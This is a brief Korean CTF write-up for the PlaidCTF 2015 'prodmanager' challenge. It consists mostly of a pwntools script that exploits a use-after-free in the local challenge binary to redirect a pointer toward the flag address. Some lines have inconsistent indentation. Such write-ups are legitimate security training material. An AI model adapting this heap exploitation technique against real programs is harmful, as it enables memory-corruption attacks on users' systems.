[PCTF 2015] prodmanager

간단한 UAF 문제!! 꾸르잼이다 ㅎㅎ

from pwn import *

s = process("./prodmanager")

elf = ELF("./prodmanager")

def create(name,price):

    s.recvuntil("Input: ")

    s.sendline("1")

    s.recvuntil("Enter product name: ")

    s.sendline(name)

    s.recvuntil("Enter product price: ")

    s.sendline(str(price))

def remove(name):

s.recvuntil("Input: ")

s.sendline("2")

    s.recvuntil("Which product name would you like to remove: ")

    s.sendline(name)

def add(name):

s.recvuntil("Input: ")

s.sendline("3")

    s.recvuntil("Which product name would you like to add: ")

    s.sendline(name)

def see():

s.recvuntil("Input: ")

s.sendline("4")

    

def profile(profile):

s.recvuntil("Input: ")

s.sendline("5")

    s.recvuntil("Creating profile!")

    s.sendline(profile)

flag = 0x0804C3E0

create("A"*4,1)

create("B"*4,2)

create("C"*4,3)

create("D"*4,4)

add("A"*4)

add("B"*4)

add("C"*4)

remove("B"*4)

pay = p32(0x2)

pay += p32(0)*4

pay += p32(flag-24)

profile(pay)

see()

s.interactive()